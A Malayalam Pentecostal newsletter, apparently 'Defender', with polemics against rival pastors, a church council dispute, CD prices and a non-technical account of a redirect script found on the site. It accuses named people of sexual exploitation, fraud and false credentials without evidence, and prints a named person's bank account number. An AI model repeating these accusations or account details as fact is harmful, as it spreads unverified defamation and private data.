എന്റെ ഭാര്യയും മക്കളും മറ്റും എനിക്ക് എതിരാണെന്ന് കെ.എ.ഏബ്രഹാം എന്ന കഴുത അടുത്ത കാലത്തു കണ്ടുപിടിച്ചു. എങ്ങനെ? തിരുവല്ലയിലിരുന്നു നോക്കിയപ്പോൾ ബാലന്റെ ഭാര്യയും മക്കളും ബാലന്റെ ശല്യം കാരണം പെരുമ്പാവൂരിലൂടെ ദു:ഖിച്ചു കരഞ്ഞുകൊണ്ടു നടക്കുന്നതുകണ്ടു. പക്ഷേ എന്റെ വീട്ടിൽ ഒരിക്കലെങ്കിലും വന്നിട്ടുള്ള ആരും ഇതു പറയുകയില്ല. ഡിഫെൻഡർ പ്രസിദ്ധീകരിക്കുന്നതിന് എന്റെ ഭാര്യയും മക്കളും അവരാൽ കഴിയുന്ന എല്ലാ സഹായങ്ങളും ചെയ്തുതരുന്നു. പെന്തക്കോസ്ത് പത്രങ്ങളിൽ ഏറ്റവും കുറച്ച് അക്ഷരത്തെറ്റുള്ള പത്രം ഡിഫെൻഡറാണ്. വാചകത്തെറ്റുകൾ ഇല്ലെന്നുതന്നെ പറയാം. എന്താണു കാരണം? എനിക്ക് മലയാളത്തിൽ സാമാന്യം നല്ല അറിവുണ്ട്. അതുകൊണ്ട് അജ്ഞതമൂലമുള്ള തെറ്റുകൾ ഉണ്ടാകാറില്ല. എങ്കിലും അശ്രദ്ധമൂലം തെറ്റുകളുണ്ടാകാം. അതുകൊണ്ട് എന്റെ പെൺമക്കളിൽ മൂത്ത രണ്ടു പേർ ഡിഫെൻഡറിന്റെ പ്രൂഫ് നോക്കി തെറ്റുകൾ തിരുത്തിത്തരുന്നു. രണ്ടുപേർക്കും മലയാളത്തിൽ ഡിഗ്രിയുണ്ട്. അവരിലൊരാൾ ഈ വർഷം മലയാളത്തിൽ എം.എ പൂർത്തിയാക്കും. പ്രൂഫ് നോക്കാൻ മാത്രമല്ല റാപ്പറിൽ അഡ്രസ്സുകൾ ഒട്ടിക്കുക, റാപ്പറും സ്റ്റാമ്പും ഒട്ടിച്ച് പത്രം പോസ്റ്റ് ചെയ്യാൻ തയ്യാറാക്കുക തുടങ്ങിയവയും എന്റെ ഭാര്യയും മക്കളും ചേർന്നാണു ചെയ്യുന്നത്. പത്രം ആലുവ ആർ.എം.എസ്സിൽ കൊണ്ടുപോയി പോസ്റ്റ് ചെയ്യുന്നത് എന്റെ ഭാര്യയാണ്. ഇതൊന്നും അറിയാതെയാണ് അവറാൻ വിവരക്കേടെഴുന്നെള്ളിക്കുന്നത്.

ഞാൻ കപടഭക്തനല്ല. അത് എന്റെ ഭാര്യയും മക്കളും മറ്റു ബന്ധുക്കളും മനസ്സിലാക്കിയിട്ടുണ്ട്. അതുകൊണ്ട് എന്റെ കുടുംബത്തിലും എന്റെ ബന്ധുക്കളുടെ വീടുകളിലും എനിക്കു നല്ല ബഹുമാനം ലഭിക്കുന്നുണ്ട്. ഒരിക്കലെങ്കിലും എന്റെ വീട്ടിൽ വന്നിട്ടുള്ളവർക്കെല്ലാം ഈ വസ്തുതകൾ ബോദ്ധ്യമായിട്ടുമുണ്ട്. അവറാൻ സങ്കല്പിച്ചുണ്ടാക്കിയ സ്ഥിതിയല്ല എന്റെ വീട്ടിലുള്ളത് എന്നു ചുരുക്കം

എന്റെ ഭാര്യയും മക്കളും ശരിയായ ആത്മീയ കാഴ്ചപ്പാടുള്ളവരാണ്. ഭൗതീക നേട്ടങ്ങൾക്കുവേണ്ടിയല്ല അവർ കർത്താവിനെ പിൻപറ്റിയിരിക്കുന്നത്. ക്രൂശിക്കപ്പെട്ട യേശുവിനെയാണ് ഞാൻ എന്റെ ഭാര്യയുടേയും മക്കളുടേയും മുൻപിൽ അവതരിപ്പിച്ചിരിക്കുന്നത്. പാളയത്തിനു പുറത്തു കഷ്ടം സഹിച്ച യേശുവിനെയാണു ഞാനും എന്റെ കുടുംബവും പിൻപറ്റുന്നത്. അതുകൊണ്ടാണ് കഷ്ടനഷ്ടങ്ങളിൽ തളരാതെ മുൻപോട്ടു പോകാൻ ഞങ്ങൾക്കു കഴിയുന്നത്.

ഇന്റർനെറ്റ് കേസ്സിൽ അന്വേഷണത്തിനെത്തിയ പോലീസ് ഞങ്ങളുടെ വീട്ടിൽ ഉള്ളപ്പോഴാണ് എന്റെ മൂത്ത മകൾ പത്താംക്ലാസ്സ് പരീക്ഷ എഴുതാൻ പോയത്. ആ ദിവസത്തെ പരീക്ഷയ്ക്കും അവൾക്കു നല്ല മാർക്ക് ലഭിച്ചു. ശാന്തയായിരുന്നു പരീക്ഷ എഴുതാൻ അവൾക്കു തുണയായത് സത്യവിശ്വാസത്തിന്റെ ശക്തിയാണ്. ഏഴു വയസ്സുള്ളപ്പോൾ അവൾ പരിശുദ്ധാത്മസ്നാനം പ്രാപിച്ചു. വിശ്വാസത്തിന്റെ തീവ്രത ഊഹിക്കാമല്ലോ. ദൈവം എനിക്കു തന്നിരിക്കുന്നത് ഇങ്ങനെയുള്ള ഭാര്യയേയും മക്കളേയുമാണ്. ദൈവം എന്നെ ഏല്പിച്ചിരിക്കുന്ന ശുശ്രൂഷ ചെയ്യാൻ എനിക്ക് എല്ലാവിധ സഹായവും ചെയ്യുന്നത് എന്റെ ഭാര്യയും മക്കളുമാണ്. കള്ളക്കേസ്സുകൾ കൊടുത്ത് എന്റെയോ എന്റെ കുടുംബാംഗങ്ങളുടേയോ മനോവീര്യം കെടുത്താമെന്ന് ആരും മോഹിക്കേണ്ടതില്ല.

ഭൗതീക നേട്ടങ്ങൾ ലക്ഷ്യമിട്ട് ക്രിസ്തുവിന്റെ പിന്നാലെ ഇറങ്ങിയവർക്കു കഷ്ടനഷ്ടങ്ങളുണ്ടാകുമ്പോൾ മന:പ്രയാസവും നിരാശയും ബ്ലഡ് പ്രഷറും മറ്റും ഉണ്ടാകും. പക്ഷേ ക്രിസ്തുവിന്റെ നിന്ദ ചുമക്കാൻ തയ്യാറായവർക്ക് കഷ്ടനഷ്ടങ്ങൾ ഉത്തേജകൗഷധങ്ങൾ പോലെയാണ്. ഓരോ കഷ്ടം കഴിയുമ്പോഴും അവർ ആത്മീയമായി കൂടുതൽ ശക്തി പ്രാപിക്കും. ഈ വസ്തുത മനസ്സിലാക്കാതെയാണ് ചിലർ ബാലനെ കള്ളക്കേസ്സിൽ കുടുക്കാനും ജയിലിൽ കയറ്റാനും നെട്ടോട്ടമോടുന്നത്. ബാലനും കുടുംബവും കഷ്ടതയുടെ മുമ്പിൽ പതറുകയില്ലെന്ന് ഇനിയെങ്കിലും അറിയുക.

# ഇടുക്കിയിലെ കുട്ടികളുടെ പേരിൽ അനി ജോർജിന്റെ തട്ടിപ്പ്



കള്ളപ്രവാചകനായ അനി ജോർജിനെ ഡിഫെൻഡറിന്റെ വായനക്കാർക്കു പരിചയപ്പെടുത്തേണ്ടതില്ല. ഈ തട്ടിപ്പുവീരനേക്കുറിച്ച് ഡിഫെൻഡറിൽ വാർത്ത വന്നിട്ടുണ്ട്. പ്രവചനവുമായി വിദേശ രാജ്യങ്ങളിൽ ചുറ്റിത്തിരിയുകയാണ് ഇവന്റെ പ്രധാന പരിപാടി. കള്ളപ്രവചനം പറഞ്ഞ് ഇവൻ സ്ത്രീകളെ വശീകരിക്കും. പിന്നീട് അവരെ ലൈംഗികമായി ചൂഷണം ചെയ്യും. അവിവാഹിതരായ സ്ത്രീകൾ, വിവാഹിതരെങ്കിലും ജോലിയോടുള്ള ബന്ധത്തിൽ ഒറ്റയ്ക്കു കഴിയേണ്ടി വരുന്ന സ്ത്രീകൾ തുടങ്ങിയവരെയാണ് ഇവൻ വലയിലാക്കുന്നത്. പ്രവചനത്തിന്റേയും വെളിപ്പാടിന്റേയും പേരുപറഞ്ഞ് ഇവൻ അടുത്തു കൂടും. സംസാരവിഷയം ക്രമേണ ലൈംഗിക ചുവയുള്ളതാകും. അതോടെ സംഭാഷണം അവസാനിപ്പിക്കുന്നവരെ ഇവൻ ഒഴിവാക്കും. പക്ഷേ എല്ലാവരും അങ്ങനെയായിരിക്കണമെന്നില്ലല്ലോ. ചിലർ സംഭാഷണം തുടരും. താൻ ദർശനത്തിൽ കണ്ടത് എന്ന ഭാവത്തിൽ ആ സ്ത്രീയുടെ ലൈംഗിക പ്രശ്നങ്ങളേക്കുറിച്ചു പറയും. ഒടുവിൽ അവരെ തന്റെ ഇംഗിതത്തിനു വിധേയയാക്കും. ഈ വിധത്തിൽ അനേകരെ ഇവൻ ചതിച്ചിട്ടുണ്ട്. ആകയാൽ ഇവനെ അകറ്റി നിർത്തുക.

ഇപ്പോഴിതാ മറ്റൊരു ചതിയുമായി ഇവൻ രംഗത്തെത്തിയിരിക്കുന്നു. ഇടുക്കി ജില്ലയിലുള്ള പാവപ്പെട്ട കുട്ടികളെ സഹായിക്കലാണു പദ്ധതി. 700 കുട്ടികൾക്ക് 1000 രൂപ വീതം വിലവരുന്ന സാധനങ്ങൾ കൊടുക്കാനാണു പദ്ധതി. ഏഴുലക്ഷം രൂപയുടേതാണു പരിപാടി. എത്ര കിട്ടി, എത്ര കൊടുത്തു എന്ന് ആരും അറിയുകയില്ല.

ഈ പരിപാടിക്കു സഹായം അഭ്യർത്ഥിച്ച് അനി ജോർജ് ആയിരക്കണക്കിനു ദൈവമക്കൾക്ക് ഈമെയിൽ അയയ്ക്കുകയുണ്ടായി. അത്തരം ഒരു ഈമെയിൽ താഴെ കൊടുക്കുന്നു:

Beloved man of God, hearty greetings in Jesus name. How are you all? I hope that you all are doing good. Every day we remember you and praying for you all.

By the very grcae of God our ministries in Idukki is moving in wonderful way. We could reach some more unevangelised areas of Idukki dist last year. Our Orphanage also going well and all children are doing good and studying well. Since 2005 we have been supporting more than 500 children with study materials, books, bags, umberlla, instrument box and uniforms. If God allows this year also we would like to distribute the above mentioned things at least to 700 poor children. For each child we have to spent around 1000 rupees. Think just for a moment our family and children, Our children are having good clothes, good bags, good foods but thousands of these children are struggling to have even for one time food. Jesus said all these things that you did to the least one did to me . so please join with me and do what you can do for these little one for their better life and for bright future. We are sure that your rewards will increase in heaven for all the good works that you are doing for these least one. Here is our account details: ANI GEORGE. A/C No.627201501905, ICICI BANK, KUMBANAD , PATHANAMTHITTA, KERALA INDIA. NB: Please mention the amount is for education help and please give your postal address to send cash reciepts and photos of the function. God bless you more and more. Yours in christ **Pr. Ani George**

# സി.ഡി.കളുടെ വിലവിവരം

ഡിഫെൻഡറിന്റെ ഓഫീസിൽ നിന്നു വിവിധതരം സി.ഡികൾ വിറ്റുവരുന്നതിനാൽ വിലയേപ്പറ്റി സംശയമുണ്ടാകാനിടയുണ്ട്. അതുകൊണ്ട് വിലവിവരപ്പട്ടിക താഴെ കൊടുക്കുന്നു:

1. വീട്ടിൽ ഒരു ബൈബിൾ സ്ക്കൂൾ (എം.പി.3) - 900 രൂപ
2. പുതിയനിയമത്തിൽ നിന്ന് 100 പ്രസംഗങ്ങൾ - 900 രൂപ

രണ്ടു സി.ഡികളും ചേർത്ത് ഇന്ത്യയിൽ - 1800 രൂപ.
വിദേശത്ത് - 100 ഡോളർ. പോസ്റ്റേജ് സൗജന്യം.

<u>ലൈബ്രറി സി.ഡികൾ</u>:

1. വീട്ടിൽ ഒരു റഫറൻസ് ലൈബ്രറി - 1900 രൂപ
2. ലൈബ്രറി ഓഫ് തിയോളജി - 900 രൂപ

രണ്ടു സെറ്റുകളും ഒന്നിച്ചു വാങ്ങിയാൽ 2500 രൂപ മാത്രം. വിദേശത്തുള്ളവർ രണ്ടു സെറ്റുകൾക്ക് 100 ഡോളർ അയയ്ക്കുക. (1900 രൂപ നൽകി വീട്ടിൽ ഒരു റഫറൻസ് ലൈബ്രറി വാങ്ങിയിട്ടുള്ളവർ ലൈബ്രറി ഓഫ് തിയോളജിക്ക് 900 രൂപക്കു പകരം 600 രൂപ മാത്രമേ നൽകേണ്ടതുള്ളൂ.).

എല്ലാ സി.ഡികളും ഒന്നിച്ചു വാങ്ങുന്നവർ 4600രൂപയ്ക്കു പകരം 4000 രൂപ നൽകിയാൽ മതിയാകും. വിദേശം: $200 എല്ലാ സി.ഡികൾക്കും പോസ്റ്റേജ് സൗജന്യം. ഗൾഫിലുള്ളവർ വിലയും ഇന്ത്യയിലെ വിലാസവും അയച്ചുതരിക. (ഗൾഫിലേക്കു സി.ഡി അയയ്ക്കുന്നതു സുരക്ഷിതമല്ല).

വിലാസം: T.S.Balan, Anand Bhavan, Near: KSRTC, Perumbavoor P.O., Ernakulam Dist. Pin. 683542

# എം.എ.വർഗീസ് സത്യം പറയണം



സ്വന്തം വിദ്യാഭ്യാസത്തേക്കുറിച്ച് എം.എ.വർഗീസ് ഈയിടെ ഇപ്രകാരം എഴുതി: ''എഞ്ചിനീയറിംഗ് വിഷയത്തിൽ എനിക്കു ദൈവം തന്ന സർട്ടിഫിക്കറ്റ് ഇന്ത്യയിലും അമേരിക്കയിലുമായി എനിക്കു ലഭിച്ച അംഗീകാരങ്ങളും ഡോക്ട്രേറ്റും സർട്ടിഫിക്കേറ്റും വരെ ലഭിച്ചത് എന്റെ കഠിനാധ്വാനത്തിന്റെ ഫലമായാണ്. വഴിപോക്കരെയെല്ലാം സർട്ടിഫിക്കറ്റ് കാണിക്കേണ്ട ആവശ്യമില്ലല്ലോ. അർഹതപ്പെട്ടവരെ കാണിക്കാം.''

ദൈവവേല ചെയ്യാൻ ഉന്നത വിദ്യാഭ്യാസം ആവശ്യമില്ല. പക്ഷേ തനിക്കുണ്ടെന്ന് അവകാശപ്പെടുന്ന വിദ്യാഭ്യാസം സത്യമാണെന്നു തെളിയിക്കാൻ ദൈവദാസൻമാർക്കു ബാധ്യതയുണ്ട്. വഴിപോക്കർക്കുപോലും വായിക്കാവുന്ന വിധത്തിൽ പത്രത്തിൽ ഇങ്ങനെയൊക്കെ എഴുതി വയ്ക്കുന്നവർ വഴിപോക്കർക്കു മുൻപിലും സർട്ടിഫിക്കറ്റ് കാണിക്കാൻ തയ്യാറാകണം. താൻ ശാസ്ത്രജ്ഞനാണെന്നു കൺവൻഷൻ സ്റ്റേജിൽ നിന്നു പറയുന്ന വ്യക്തി തനിക്കു ശാസ്ത്രത്തിൽ എന്തു ബിരുദമാണുള്ളതെന്നു കൂടി പൊതുജനങ്ങളോടു വെളിപ്പെടുത്തണം. 'ഡോ' എന്നു പേരിനു മുൻപിൽ എഴുതിയ പോസ്റ്റർ നാടുനീളെ പതിക്കുന്നവർ 'ഡോ' എവിടെനിന്നു കിട്ടി എന്ന് ഏതു വഴിപോക്കനോടും പറയേണ്ടതായി വരും. അതുകൊണ്ട് എം.എ.വർഗീസ് വെറുമൊരു വഴിപോക്കനായ റ്റി.എസ്.ബാലനോട് താഴെ പറയുന്ന ചോദ്യങ്ങൾക്കു മറുപടി പറയണം:

1. എം.എ.വർഗീസ് ഏത് എഞ്ചിനീയറിംഗ് കോളേജിലാണ് പഠിച്ചത്? എഞ്ചിനീയറിംഗിൽ എന്തു ഡിഗ്രിയാണു ലഭിച്ചത്?
2. അമേരിക്കയിൽ ഏതു കോഴ്സാണു പഠിച്ചത്? ഏതു സ്ഥാപനത്തിൽ? എന്തു ബിരുദമാണു ലഭിച്ചത്?
3. ഏതു യൂണിവേഴ്സിറ്റിയിൽ നിന്നാണു ഡോക്ടറേറ്റ് ലഭിച്ചത്? എന്തായിരുന്നു ഗവേഷണ വിഷയം? ആരായിരുന്നു ഗൈഡ്?
4. അർഹതപ്പെട്ടവരെ സർട്ടിഫിക്കറ്റുകൾ കാണിക്കാമെന്നു പറഞ്ഞല്ലോ. ആരൊക്കെയാണ് അർഹതപ്പെട്ടവർ? അർഹതപ്പെട്ട രണ്ടോ മൂന്നോ ആളുകളുടെ പേരു പറയാമോ?

എം.എ.വർഗീസ് പത്താം ക്ലാസ്സുവരെ പഠിച്ചു എന്ന കാര്യത്തിൽ സംശയമില്ല. പക്ഷേ അതിനു മുകളിലുള്ള എന്തെങ്കിലും വിദ്യാഭ്യാസയോഗ്യത ഉണ്ടെങ്കിൽ അതു തെളിയിക്കേണ്ടതാണ്. ഡോക്ടറേറ്റ് ഉൾപ്പെടെയുള്ള യോഗ്യതകൾ ഉണ്ടെന്ന് അവകാശപ്പെടുന്നതുകൊണ്ട് അതിനു തെളിവു ഹാജരാക്കണം.

# ബെൻസിനു സസ്പെൻഷൻ



ബെൻസ് ഏബ്രഹാം



എം.ജോൺസൺ



മറ്റത്തുകാലാ

ജോസഫ് മറ്റത്തുകാലായും പാസ്റ്റർ ബെൻസ് ഏബ്രഹാമും തമ്മിലുള്ള പ്രശ്നം ചർച്ച് ഓഫ് ഗോഡ് സ്റ്റേറ്റ് കൗൺസിൽ പരിഹരിച്ചു. തോക്കിൽ കയറി വെടി വച്ച ബെൻസ് ഏബ്രഹാമിനു സ്റ്റേറ്റ് കൗൺസിലിൽ നിന്ന് ആറു മാസം സസ്പെൻഷൻ നൽകുകയും ചെയ്തു. ചർച്ച് ഓഫ് ഗോഡ് ജനറൽ കൺവെൻഷന്റെ അവസാന ദിവസം സംസാരിച്ചവരിൽ ഒരാളായ ബ്രദർ ജോസഫ് മറ്റത്തുകാല (സ്റ്റേറ്റ് ബോർഡ് സെക്രട്ടറി) സഭാരാഷ്ട്രീയത്തിനെതിരെ പ്രതികരിച്ചതോടെയാണ് പ്രശ്നം ആരംഭിച്ചത്. വിശ്വാസികളിൽ നിന്നു സ്തോത്രക്കാഴ്ചയായും ദശാംശമായും മറ്റും പാസ്റ്റർമാർ വാങ്ങുന്ന പണം ഉപയോഗിച്ച് സഭാരാഷ്ട്രീയം കളിക്കുന്നതിനെതിരെയാണ് മറ്റത്തുകാല സംസാരിച്ചത്. ചർച്ച് ഓഫ് ഗോഡിന്റെ സ്റ്റേറ്റ് കൗൺസിൽ തെരഞ്ഞെടുപ്പിൽ പണത്തിന്റെ സ്വാധീനം മറനീക്കി പുറത്തു വന്നതിനെതിരെ വിശ്വാസികളുടെ ഭാഗത്തുനിന്നുണ്ടായ സ്വാഭാവിക പ്രതിഷേധമായിരുന്നു അത്. പക്ഷേ മറ്റത്തുകാലയുടെ പ്രതികരണം ചില പാസ്റ്റർമാർക്കു രസിച്ചില്ല. കൺവൻഷനുശേഷം നടന്ന കൗൺസിൽ മീറ്റിംഗിൽ പാസ്റ്റർ ബെൻസ് ഏബ്രഹാം (കൗൺസിൽ അംഗം) മറ്റത്തുകാലയ്ക്കെതിരെ നിലപാടെടുത്തു. അദ്ദേഹം കാണിച്ചതു ധിക്കാരമാണെന്നും ഉചിതമായ നടപടിയെടുക്കണമെന്നും പാസ്റ്റർ ബെൻസ് ആവശ്യപ്പെട്ടു. ഇതു പ്രശ്നത്തിനു വഴിവെച്ചു.

പാസ്റ്റർ ബെൻസ് ഏബ്രഹാം കൗൺസിൽ അംഗമായത് തൊട്ടു താഴെയുള്ള സ്ഥാനാർത്ഥിക്ക് (പാസ്റ്റർ എം.ജോൺസൺ, സോണൽ ഡയറക്ടർ) ലഭിച്ചതിനേക്കാൾ ഒരു വോട്ടുമാത്രം അധികം ലഭിച്ചാണ്. വോട്ടെണ്ണലിൽ കൃത്രിമം നടന്നതുകൊണ്ടാണ് എം. ജോൺസൺ തോൽക്കുകയും ബെൻസ് ജയിക്കുകയും ചെയ്തത് എന്നൊരു ആരോപണമുണ്ടായി. അതുകൊണ്ട് വോട്ടുകൾ വീണ്ടും എണ്ണണം എന്ന ആവശ്യമുയർന്നു. പക്ഷേ കൗൺസിൽ ഈ ആവശ്യം തള്ളി.

യുദ്ധം ഇങ്ങനെ മുറുകുന്നതിനിടയിൽ ആരോ മറ്റത്തുകാലയെ ഭീഷണിപ്പെടുത്തി. പാസ്റ്റർ ബെൻസ് ഏബ്രഹാമാണ് ഈ ഭീഷണിയുടെ പിന്നിലെന്ന് ആരോപണമുയർന്നു. ഇതേപ്പറ്റി അന്വേഷിക്കാൻ സഭാനേതൃത്വം ഒരു കമ്മീഷനെ ചുമതലപ്പെടുത്തി. പക്ഷേ കമ്മീഷന്റെ കണ്ടെത്തൽ ബെൻസിന് എതിരായിരിക്കും എന്ന് ഒരു കിംവദന്തി പരന്നു. ഈ കമ്മീഷനിൽ നിന്നു തനിക്കു നീതി ലഭിക്കുകയില്ല എന്നു പ്രഖ്യാപിച്ചുകൊണ്ട് പാസ്റ്റർ ബെൻസ് കൗൺസിൽ അംഗത്വം രാജി വച്ചു. ഈ പ്രശ്നങ്ങളെല്ലാം മാർച്ച് 23ന് നടന്ന കൗൺസിൽ ചർച്ച ചെയ്തു. അങ്ങനെയാണ് പ്രശ്നം പരിഹരിച്ചത്.

കമ്മീഷന്റെ കണ്ടെത്തലുകൾ തികച്ചും നീതിയുക്തമാണെന്നു വിലയിരുത്തിയ സ്റ്റേറ്റ് കൗൺസിൽ മറ്റത്തുകാലയും പാസ്റ്റർ ബെൻസുമായുള്ള പ്രശ്നങ്ങൾ പറഞ്ഞുതീർത്തു. കമ്മീഷന്റെ റിപ്പോർട്ട് വരുന്നതിനു മുൻപുതന്നെ രാജിവച്ചു ഷൈൻ ചെയ്ത ബെൻസിന്റെ രാജി കൗൺസിൽ തള്ളിക്കളഞ്ഞെങ്കിലും ഓവർസ്മാർട്ടായതിന് കൗൺസിലിൽ നിന്ന് ആറു മാസത്തേക്കു സസ്പെന്റ് ചെയ്യാൻ തീരുമാനിക്കുകയും ചെയ്തു.



# മാൽവെയറിന്റെ വളളിക്കോട്ട്

ഡിഫെൻഡറിന്റെ വെബ്സൈറ്റിൽ ഒരു മാൽവെയർ കടന്നുകൂടുകയും അത് ഏതാനും മണിക്കൂറുകൾ നിലനിൽക്കുകയും ചെയ്തു. പ്രശ്നം ശ്രദ്ധയിൽ പെട്ട ഉടൻ തന്നെ റ്റി.എസ്.ബാലൻ എന്ന ഈയുള്ളവൻ മാൽവെയർ കണ്ടെത്തി നീക്കം ചെയ്തു. പക്ഷേ കമ്പ്യൂട്ടറിനേക്കുറിച്ചു ചുക്കും ചുണ്ണാമ്പും അറിഞ്ഞുകൂടാത്ത മോനായി ഈ സംഭവം തന്റെ ഭാവനയ്ക്കൊത്ത വിധം വർണ്ണിക്കുന്നു. എന്തോ അസ്സാധാരണ സംഭവം നടന്നു എന്ന മട്ടിലാണു പ്രചരണം. ഈ വിവരദോഷിയോടു സഹതപിക്കുകയേ നിവൃത്തിയുള്ളൂ.

വെബ്സൈറ്റിൽ മാൽവെയറുകൾ കടന്നു കൂടുക എന്നത് അസ്സാധാരണ സംഭവമല്ല. ഗുഡ്ന്യൂസിന്റെ വെബ്സൈറ്റിൽ മാൽവെയർ കടന്നുകൂടിയതു മൂലം സൈറ്റിന്റെ പ്രവർത്തനം ആഴ്ചകളോളം തടസ്സപ്പെട്ടിട്ടുണ്ട്. മരുപ്പച്ചയുടെ സൈറ്റിലും മാൽവെയർ ഉണ്ടായിരുന്നു. ഭൂരിപക്ഷം വെബ്സൈറ്റുകളിലും ഇത്തരം പ്രശ്നങ്ങൾ ഉണ്ടാകാറുണ്ട്. ഡിഫെൻഡറിന്റെ സൈറ്റിൽ ഇതു രണ്ടാം തവണയാണ് മാൽവെയർ കയറുന്നത്. ഒരു വർഷത്തോളം മുൻപ് ഇത്തരം ഒരു പ്രശ്നമുണ്ടായ്. പക്ഷേ ആ പ്രശ്നം ഉടൻ കണ്ടെത്തി പരിഹരിച്ചതുകൊണ്ട് ഗൂഗിൾ അറിഞ്ഞില്ല. ഇത്തവണ പ്രശ്നമുണ്ടായതു രാത്രിയിലായതുകൊണ്ട് വിവരമറിയാൻ താമസമുണ്ടായി എന്നുമാത്രം.

എന്താണു മാൽവെയർ? സോഫ്റ്റ്വെയർ എന്ന വാക്കുമായി ബന്ധമുള്ളതാണ് മാൽവെയർ എന്ന വാക്ക്. മാൽപ്രാക്ടീസ് എന്ന വാക്കിലെ 'മാൽ' എന്താണെന്ന് ഇംഗ്ലീഷ് പഠിച്ചിട്ടുള്ളവർക്ക് അറിയാം. 'കുഴപ്പക്കാരായ കമ്പ്യൂട്ടർ പ്രോഗ്രാമുകൾ' എന്നാണ് മാൽവെയർ എന്നതുകൊണ്ട് അർത്ഥമാക്കുന്നത്.

മാൽവെയറുകൾ പല വിധത്തിലുണ്ട്. ഏതെങ്കിലും ഒരു ഫയലിനോടു ചേർന്നിരുന്നു മാത്രം പ്രവർത്തിക്കുന്ന മാൽവെയറുകളെ വൈറസുകൾ എന്നാണു വിളിക്കുന്നത്. മറ്റു ഫയലുകളുമായി ബന്ധപ്പെടാതെ സ്വതന്ത്രമായി നിലനിൽക്കാനും പ്രവർത്തിക്കാനും കഴിവുള്ള മാൽവെയറുകളാണു വേമുകൾ (വിരകൾ). കമ്പ്യൂട്ടറിലെ വിവരങ്ങൾ ചോർത്താൻ കഴിവുള്ള മാൽവെയറുകളെ സ്പൈവെയർ എന്നു വിളിക്കാം. കമ്പ്യൂട്ടറിനുള്ളിൽ കയറിക്കൂടി (ട്രോജൻ കുതിരയേപ്പോലെ) പോർട്ടുകൾ തുറന്നു വയ്ക്കുന്ന മാൽവെയറുകൾ ട്രോജൻ എന്ന പേരിൽ അറിയപ്പെടുന്നു. ഇന്റർനെറ്റിൽ ഉപയോഗിക്കുന്ന html, php തുടങ്ങിയ ഫയലുകളുടെ ഉള്ളിൽ കടന്നുകൂടി പ്രവർത്തിക്കുന്ന ഒരു ജാവാ സ്ക്രിപ്റ്റാണ് ഡിഫെൻഡറിന്റെ വെബ്സൈറ്റിൽ പ്രശ്നമുണ്ടാക്കിയത്. ഫയലുകളുടെ അവസാന ഭാഗത്ത് ഈ സ്ക്രിപ്റ്റ് കടന്നു കയറുകയാണു ചെയ്യുന്നത്. ഈ സ്ക്രിപ്റ്റിനേക്കുറിച്ച് ഒരു ഏകദേശ രൂപം കിട്ടാനായി ഇതിന്റെ പ്രസക്ത ഭാഗങ്ങൾ താഴെ കൊടുത്തിരിക്കുന്നു. ഈ സ്ക്രിപ്റ്റ് ദുരുപയോഗം ചെയ്യപ്പെടുന്നത് ഒഴിവാക്കാനായി സ്ക്രിപ്റ്റിന്റെ മദ്ധ്യത്തിലുള്ള കുറച്ചുഭാഗം ഒഴിവാക്കുകയും ചെയ്തിട്ടുണ്ട്. കമ്പ്യൂട്ടർ പരിജ്ഞാനമില്ലാത്തവർക്ക് ഈ സ്ക്രിപ്റ്റ് മനസ്സിലാക്കാനാവില്ല. പക്ഷേ ജാവാ സ്ക്രിപ്റ്റിൽ സാമാന്യ ജ്ഞാനമുള്ളവർക്കു കാര്യം പിടികിട്ടും.

എന്താണ് ഈ സ്ക്രിപ്റ്റ് ചെയ്യുന്നത്? വെബ്സൈറ്റ് തുറക്കുമ്പോൾ index.html. index.htm, default.html, default.htm, index.php തുടങ്ങിയ ഫയലുകളിലേക്കാണ് ആദ്യം പോകുക. ഉദാഹരണത്തിന്, ഡിഫെൻഡറിന്റെ വെബ്സൈറ്റിൽ index.html ആണ് ആദ്യം തുറക്കുക. താഴെ കാണുന്ന സ്ക്രിപ്റ്റ് ഈ ഫയലിൽ ഒളിച്ചിരുന്നുകൊണ്ട് വികൃതി കാണിക്കുന്നു. സൈറ്റ് തുറന്നാലുടൻ മറ്റൊരു വെബ്സൈറ്റിലേക്ക് റീഡയറക്ട് ചെയ്യുകയാണ് ഈ സ്ക്രിപ്റ്റ് ചെയ്യുന്നത്. കമ്പ്യൂട്ടറും അനുബന്ധ ഉപകരണങ്ങളും വിൽക്കുന്ന ഒരു സൈറ്റിലാണ് ഡിഫെൻഡറിന്റെ വായനക്കാർ എത്തിച്ചേരുക. ഇതെന്തു മറിമായം എന്നറിയാതെ വായനക്കാർ കുഴയും. അതല്ലാതെ മറ്റൊരു കുഴപ്പവും വരുകയില്ല. മോനായി പറയുന്നതുപോലെയുള്ള ഒരു കുഴപ്പവും ഈ സ്ക്രിപ്റ്റ് ഉണ്ടാക്കുകയില്ല. ആരോ തമാശയ്ക്കുവേണ്ടി ഉണ്ടാക്കിയ സ്ക്രിപ്റ്റാണിത് എന്നു വ്യക്തം. പക്ഷേ തമാശയാണെങ്കിലും ഇതു മാൽവെയർ തന്നെ.

ഡിഫെൻഡറിന്റെ വെബ്സൈറ്റ് സന്ദർശിക്കുന്നവരുടെ വ്യക്തിപരമായ വിവരങ്ങൾ ചോർത്താൻ റ്റി.എസ്.ബാലൻ ഈ മാൽവെയർ വെബ്സൈറ്റിൽ ഒളിച്ചുവച്ചു എന്നാണു മോനായി കണ്ടുപിടിച്ചിരിക്കുന്നത്. ഗൂഗിൾ നൽകിയ മുന്നറിയിപ്പാണ് മോനായി ആധാരമായി സ്വീകരിച്ചത്. ഏതു തരം മാൽവെയർ കണ്ടാലും ഗൂഗിൾ ഇത്തരം മുന്നറിയിപ്പു നൽകും. മാൽവെയർ തമാശയ്ക്കുവേണ്ടി ഉണ്ടാക്കിയതാണോ ഗൗരവമുള്ളതാണോ എന്നൊന്നും ഗൂഗിൾ നോക്കില്ല. വെബ്സൈറ്റുകളിൽ മാൽവെയറുകൾ ഉണ്ടാകാൻ പാടില്ല. അതിനു വിരുദ്ധമായി കണ്ടാൽ മുന്നറിയിപ്പു കൊടുക്കും. മാൽവെയറുകൾ കൊണ്ട് എന്തെല്ലാം ചെയ്യാൻ കഴിയും എന്നാണു ഗൂഗിൾ വിവരിക്കുന്നത്. ഏതുതരം മാൽവെയർ കണ്ടാലും മുന്നറിയിപ്പ് ഒന്നുതന്നെ ആയിരിക്കും എന്നു ചുരുക്കം. അതുകൊണ്ടാണ് ഡിഫെൻഡറിന്റെ സൈറ്റിൽ മാൽവെയർ കണ്ടപ്പോഴും ഈ വിധത്തിലുള്ള മുന്നറിയിപ്പു കൊടുത്തത്.

